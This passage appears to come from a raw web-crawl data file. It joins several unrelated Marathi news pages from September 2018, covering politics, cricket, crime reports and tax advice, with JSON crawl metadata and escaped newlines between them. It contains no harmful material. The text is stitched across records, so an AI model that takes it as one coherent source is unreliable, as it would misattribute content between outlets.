आव्हान\nVIDEO : मालेगाव बॉम्बस्फोट प्रकरणातला आरोपी उपाध्याय लढवणार लोकसभा निवडणूक\nराम कदम यांच्या या वक्तव्यामुळं झाला वाद : पहा हा VIDEO\nVIDEO : मुंबई, ठाण्यात 36 गोविंदा जखमी, दहीहंडीचा उत्साह शिगेला\nVIDEO : 'नो गुंडे, ओन्ली मुंडे', नाशिककर उतरले रस्त्यावर\nवाहतूक पोलिसांच्या कारवाईविरोधात वाशीमध्ये रिक्षा चालकांचा संप - VIDEO\nVIDEO : नवीन महाराष्ट्र सदनात आमचाच बळी गेला - भुजबळ\nVIDEO : जगात पहिल्यांदाच झाला असा अपघात, कोट्यवधींच्या गाड्या समुद्रात बुडाल्या\nबैलगाडी शर्यतीत आला पहिला, अतिउत्साहात गाडीतून गेला तोल, आणि...\nVIDEO : Asian Games 2018 सुवर्णपदक अटलजींना समर्पित : नीरज चोपडा\nVIDEO : 'आधी खूप भीती वाटली,पण हिंमत केली'\nVIDEO : देवदुतासारखे धावून आले पोलीस, आगीच्या वणव्यातून वर ओढून काढलं महिलेला\nVIDEO : श्रीनगरमध्ये फडकले पाकिस्तान आणि ISIS चे झेंडे\nVIDEO : श्रीनगरमध्ये सुरक्षा दल आणि संतप्त तरूण आमने-सामने\nपरळ अग्नितांडव- आग शमली, पण इमारतीत स्मशान शांतता पाहा हा VIDEO\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4/all/", "date_download": "2018-09-25T16:53:22Z", "digest": "sha1:4BUF3S5J5JEIR75DV4SROMULO562B7YZ", "length": 12170, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "भारत- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nरोहितने ही खेळी खेळली नसती तर भारत सामना हरला असता\n#AyushmanBharat जगातल्या सर्वात मोठ्या आरोग्य विमा योजनेची सुरूवात, आता गरिबांनाही उत्तम सेवा - मोदी\n'Forbes India Tycoons of Tomorrow'मध्ये होणार देशातल्या 'फ्यूचर आयकॉन्स'चा सन्मान\nराफेल घोटाळ्यात राहुल गांधींची जहरी टीका, मोदींनी सेनेवर केलं 'सर्जिकल स्ट्राईक'\nराफेल घोटाळ्यावर निर्मला सीतारमण यांनी राजीनामा द्यावा - अशोक चव्हाण\nपरराष्ट्रमंत्र्यांची बैठक रद्द, भारताचा पाकिस्तानला दणका\n 'जीओ'टीव्ही आणि 'हॉटस्टार'वर पाहता येणार भारताच्या सर्व मॅचेस\nकाश्मीरमध्ये अतिरेक्यांनी केली ३ पोलिसांची हत्या; आता पोलिसांमध्येच दहशत\nVIDEO नवाझुद्दीनचा मंटो : फाळणीनंतर पाकिस्तानात जाण्याचा मंटोंना होता पश्चाताप\nभारत आणि पाकिस्तानचे परराष्ट्रमंत्री न्यूयॉर्कला भेटणार, कोंडी फुटणार का\nपाकिस्तानशी चर्चा सुरू करा, इम्रान खान यांची पंतप्रधान मोदींना पत्र लिहून विनंती\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/business/paishacha-jhad/articlelist/17858912.cms?curpg=5", "date_download": "2018-09-25T18:07:18Z", "digest": "sha1:25QK5DT2BCNQ642IXC5EWPJYMATPWGP5", "length": 8976, "nlines": 141, "source_domain": "maharashtratimes.indiatimes.com", "title": "Page 5- Business News in Marathi: Money Manager, Money Management News in Marathi | Maharashtra News", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nविद्यावेतनासाठी वेगळे विवरणपत्र नाही\nमाझी मुदतठेव सीकेपी बँकेत असून या ठेवीची मुदतपूर्ती झाल्यावरही रक्कम काढण्यास, बँक सध्या ‘आजारी बँक’ असल्याने रिझर्व्ह बँक परवानगी देत नाही.\nरक्कम असेल त्याचेच नाव पहिले असावेUpdated: Dec 27, 2016, 03.00AM IST\nनिर्देशांकानुसार भांडवली नफा मोजाUpdated: Dec 20, 2016, 03.00AM IST\nआयकर विवरणपत्र भरणे श्रेयस्करUpdated: Dec 13, 2016, 03.00AM IST\nमुलांच्या नावे म्युच्युअल फंडांत गुंतवणूकUpdated: Nov 25, 2016, 12.54AM IST\nस्वकष्टार्जित उत्पन्नाचा हिशेब आवश्यकUpdated: Nov 15, 2016, 03.00AM IST\nविवरणपत्रात भांडवली नफा दाखवता येतोUpdated: Nov 8, 2016, 03.00AM IST\n‘एसटीटी’ भरलेल्या शेअर्सच्या विक्रीवरील नफा करमुक...Updated: Oct 25, 2016, 03.00AM IST\nअडीच लाखांपर्यंत उत्पन्न करमुक्तUpdated: Oct 18, 2016, 03.00AM IST\nआयकर विभाग न भरलेल्या रकमेचा परतावा देत नाहीUpdated: Oct 4, 2016, 03.03AM IST\nफक्त निवृत्तीवेतन उत्पन्नासाठी ‘आयटीआर १’ फॉर्मUpdated: Sep 27, 2016, 03.00AM IST\n‘पीपीएफ’ खात्यातील गुंतवणुकीवर मर्यादित सूटUpdated: Sep 13, 2016, 03.00AM IST\n...तर ज्येष्ठ नागरिकांना 'रिटर्न'ची गरज नाही\n... व्याज उत्पन्न तुमचेच म्हणून गणले जाऊन करपात्रUpdated: Aug 9, 2016, 03.00AM IST\nतापाने ६० बालकांचा मृत्यू; आमदार नाचात दंग\nआरपीएफ जवानानं वाचवले महिलेचे प्राण\nCCTV: कळव्यात तरुणाची धावत्या ट्रेनमधून उडी\nभारत बंद: अंधेरीत काँग्रेस कार्यकर्त्यांनी रो...\n'मोमो गेम'पासून दूरच राहा\nभारतातील आमदारांची कमाई किती\nपैशाचं झाड याा सुपरहिट\nवयानुरूप गुंतवणूक कशी करावी\n१५ जी, १५ एच अर्ज दरवर्षी देणे आवश्यक\nकरदात्यांना सुधारित विवरणपत्राचा पर्याय\nस्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये\nPetrol Price: पेट्रोल, डिझेल आणखी महागणार\nगुंतवणूकदारांचे नुकसान साडेआठ लाख कोटींचे\nईडीने मला कर्ज फेडू दिले नाही: मल्ल्याचा आरोप\nअजित मोहन यांच्यावर फेसबुक इंडियाची धुरा\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00408.warc.wet.gz", "language": "mr", "language_score": 0.66, "bucket": "all"} {"url": "http://www.saamana.com/bogus-foreign-liquor-factory-burst-in-bhandara/", "date_download": "2018-09-25T17:05:42Z", "digest": "sha1:2GIFYPHJ7FV2AVTP7WZF4PU3EJNRPA4R", "length": 18217, "nlines": 259, "source_domain": "www.saamana.com", "title": "भंडारा शहरातील बनावट विदेशी दारूचा कारखाना उद्ध्वस्त | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nभंडारा शहरातील बनावट विदेशी दारूचा कारखाना उद्ध्वस्त\nभंडारा शहरातील आंबेडकर वॉर्डात सुरू असलेल्या बनावट विदेशी दारूच्या कारखान्यावर राज्य उत्पादन शुल्क विभागाने धाड टाकून बनावट दारूसाठा व चारचाकी वाहन असा 3 लाख 29 हजारांचा मुद्देमाल जप्त केला. ही कारवाई गुरुवारी करण्यात आली.\nराज्य उत्पादन शुल्क विभागाचे पथक गस्तीवर असताना कारधा येथे एका संशयास्पद व्हॅनची झडती घेतली असता, त्याठिकाणी बनावट विदेशी दारुच्या 350 बाटल्या आढळून आल्या. या दारुसाठ्य़ाबाबत आरोपींना विचारणा केली असता त्यांनी आंबेडकर वॉर्डातील एका घरातून आणल्याचे सांगितले. उत्पादन शुल्क विभागाच्या पथकाने तात्काळ आंबेडकर वॉर्डातील त्या घरावर छापा टाकला. त्यावेळी प्रशांत दुर्गाप्रसाद मानवटकर (28) रा. शुक्रवारी, भंडारा, चेतन सुरेश चकोले (28) रा. शुक्रवारी, भंडारा, गोपाल धनबहादूर ठाकूर रा. आंबेडकर वॉर्ड, गोलू उर्फ सरीन विनोद गोस्वामी (24) रा. शहीद वॉर्ड, भंडारा, कैलास गोपीचंद मोहरकर (30) रा.आंबेडकर वॉर्ड भंडारा हे पाच जण बनावट विदेशी दारू तयार करताना आढळून आले.\nआरोपींच्या ताब्यातून ओमनी व्हॅन, एक दुचाकी, दारूच्या 985 बनावट बाटल्या, मध्यप्रदेशातील सिल्वर जेट व्हिस्कीच्या 4 बाटल्या, 2 हजार झाकणे, कॉक, बुच आणि 550 बनावट लेबल, स्पिरीटच्या वासाचे केमिकल आणि दारु तयार करण्याचे अन्य साहित्य असा 3 लाख 29 हजार 720 रुपयांचा मुद्देमाल जप्त करण्यात आला. पाचही आरोपींविरुद्ध महाराष्ट्र दारुबंदी कायद्याच्या कलमान्वये गुन्हा नोंदवून अटक करण्यात आली आहे. या गुन्ह्यातील दोन आरोपी फरार आहे.\nही कारवाई राज्य उत्पादन शुल्क विभागाचे आयुक्त अश्‍विनी जोशी, संचालक सुनील चौहाण, उपआयुक्त उषा वर्मा, भंडाराचे अधीक्षक शशीकांत गर्जे यांच्या मार्गदर्शनाखाली निरीक्षक तानाजी आदींनी केली.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलउत्तान कपडे घालून मॉडेल मंदिरात नाचली, प्रशासनातर्फे नोटीस\nपुढीलविरोधकांच्या शंभर पिढ्या खाली उतरल्या तरी शिवसेना संपणार नाही – संजय राऊत\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00409.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%8F%E0%A4%95%E0%A4%A8%E0%A4%BE%E0%A4%A5-%E0%A4%96%E0%A4%A1%E0%A4%B8%E0%A5%87-%E0%A4%AF%E0%A4%BE%E0%A4%82%E0%A4%A8%E0%A4%BE-%E0%A4%B2%E0%A4%B5%E0%A4%95%E0%A4%B0%E0%A4%9A-%E0%A4%A8%E0%A5%8D/", "date_download": "2018-09-25T17:36:32Z", "digest": "sha1:KGAPFFW7SHFVIHH746NKPEJ55VQPGHR3", "length": 8737, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "एकनाथ खडसे यांना लवकरच न्याय मिळेल: चंद्रकांत पाटील | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nएकनाथ खडसे यांना लवकरच न्याय मिळेल: चंद्रकांत पाटील\nजळगाव: राज्यात भाजपचे सरकार येण्यामागे एकनाथ खडसे यांचे मोठे योगदान आहे. त्यांच्यावरील अन्याय लवकरच संपणार असून त्यांना योग्य न्याय मिळेल, असे महसूलमंत्री चंद्रकांत पाटील यांनी म्हटले. एकनाथ खडसे यांना भ्रष्टाचार प्रकरणातून क्‍लिन चिट देवूनही त्यांच्या मंत्रिमंडळात समावेश करण्यात आलेला नाही. भाजप नेते आणि माजी महसूलमंत्री एकनाथ खडसे यांच्या अभिष्टचिंतनानिमित्त मुक्ताईनगर तालुक्‍यात कोठळीमध्ये एका कार्यक्रमाचे आयोजन करण्यात आले होते. याप्रसंगी चंद्रकांत पाटील बोलत होते.\nचंद्रकांत पाटील म्हणाले, राज्यामध्ये भाजपचे सरकार येण्यामागे एकनाथ खडसे यांचे मोठे श्रम आहेत. अन्याय कुणावरही कायम नसतो. त्यातून न्याय मिळतो. एकनाथ खडसेंवरील अन्यायही संपेल आणि त्यांना न्याय मिळेल, अशी अपेक्षा महसूलमंत्री चंद्रकांत पाटील यांनी व्यक्त केली.\nयावर एकनाथ खडसे म्हणाले, आपल्याला आता कुठलीच अपेक्षा नाही. याप्रसंनी त्यांनी दिवार चित्रपटातील अमिताभ आणि शशी कपूर यांच्यातील संवादाचा आधार घेतला आणि आपल्यामागे जनता असल्याचे सांगत पुन्हा एकदा सरकारला अप्रत्यक्ष इशारा दिला.\nमाझ्या झालेले आरोप हे पूर्णपणे खोटे असल्याचे चौकशीनंतर सिद्ध झाले आहे. तसेच चौकशी समितीने क्‍लिन चिटही दिली. मात्र सरकार असे म्हणायला तयार नाही. त्यामुळे वाढदिवशी आपण एक संकल्प केला आहे. आपण दोषी आहोत की नाही हे जनतेला पटवून देण्यासाठी महाराष्ट्रभर दौरा करणार आहोत. तसेच जनतेने सांगितले की तुम्ही दोषी आहात, तर राजकारण सोडून देईन, असा इशाराही खडसेंनी यावेळी दिला.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleमाओवादी संशयितांना दुसरीकडे हलवा\nNext article#सोक्षमोक्ष: इंडिया टुडे – इंडिया टुमॉरो : काय होणार नक्की\nमोदींची तुलना छत्रपतींशी करणाऱ्या योगींनी तात्काळ माफी मागावी: अशोक चव्हाण\n#धक्कादायक: गुदद्वारात हवा सोडल्याने कामगाराचा मृत्यू\nमहाराष्ट्राचे वैभव उत्तरोत्तर वाढावे; पंकजा मुंडेंचे दगडूशेठ गणपतीला साकडे\nगोठ्यात अभ्यास व तीन किलोमीटर पायी चालून यश संपादन केले : उपविभागीय पोलीस अधिकारी अशोक थोरात\nनागपूरच्या महापौर स्वतःच्याच मुलाला सेक्रेटरी बनवून अमेरिका दौऱ्यावर\nरस्त्यात सापडलेले 30 हजार केले परत प्रामाणिकपणाबद्दल पोलिसांनी केला सत्कार\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00410.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/maharashtra/western-maharashtra/solapur-news/", "date_download": "2018-09-25T17:22:17Z", "digest": "sha1:CPOMDL372SGOQNJRLOZHRKAGT2B5BBNA", "length": 3465, "nlines": 39, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Solapur News, Latest News And Headlines In Marathi | Divya Marathi", "raw_content": "\nजिल्ह्यातील तीन लाख कुटुंबांना आयुष्यमान योजनेचे आरोग्य कवच\nसोलापूरच्या सोमनाथने विजयपूरला गोलघुमटमध्ये उडी मारून केली आत्महत्या\nदयानंद महाविद्यालयात शिकणाऱ्या तरुणीचा संशयास्पद मृत्यू, अकोलेकाटीजवळ मृतदेह\nनिविदेचे काम पाहणाऱ्या लिपिकाची बदली, पदभार न देताच विदेशवारीवर\nसावळेश्वरच्या कोंबडयाला लागला दुचाकीवर बसून फिरण्याचा लळा..मोहोळसह परिसरात एकच चर्चा\nटायर, लाकडे जाळून कृत्रिम पावसाचा'अघोरी'प्रयोग अखेर रद्द, पर्यावरणप्रेमींनी व्यक्त केला तीव्र विरोध\n'सहकारमहर्षी'च्या सभेत धक्काबुक्की; फत्तेसिंह माने यांच्या कुटुंबातील काही सदस्य व सभासदांत शाब्दिक चकमक\nकोंबड्याला लागला दुचाकीचा लळा; मालकासोबतच मारतो दुचाकीवरून फेरफटका\nसोलापुरात स्वाइन फ्लूने आठवड्यात दुसरा बळी; शमीम बागवान यांचा स्वाइन फ्लूने मृत्यू\nकोकण रेल्वेच्या धर्तीवर लवकरच सुरू होणार बाळे स्थानकावरून'रो-रो सेवा'\nरुसाअंतर्गत दहा महाविद्यालयांना प्रत्येकी दोन कोटी अनुदान मंजूर\nहातउसने दिलेले पैसे मागितल्याने शिवीगाळ, महिलेची आत्महत्या\nपद्मशाली मूक मोर्चा : पक्ष आणि धर्मभेद विसरून रस्त्यावर उतरले सोलापूरकर\nबार्शी, माढा, सांगोला तालुक्याला हेलिपॅडसाठी जागाच मिळेना\n४७ साखर कारखान्यांना शिखर बँकेकडून ११८६ कोटींचे कर्ज\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00410.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/program/article-67262.html", "date_download": "2018-09-25T16:55:24Z", "digest": "sha1:SDKXQXIAHCPIBD74ZG6EQR4DOAFHOC6M", "length": 14710, "nlines": 168, "source_domain": "lokmat.news18.com", "title": "गर्जा महाराष्ट्र :आनंद निकेतन", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन 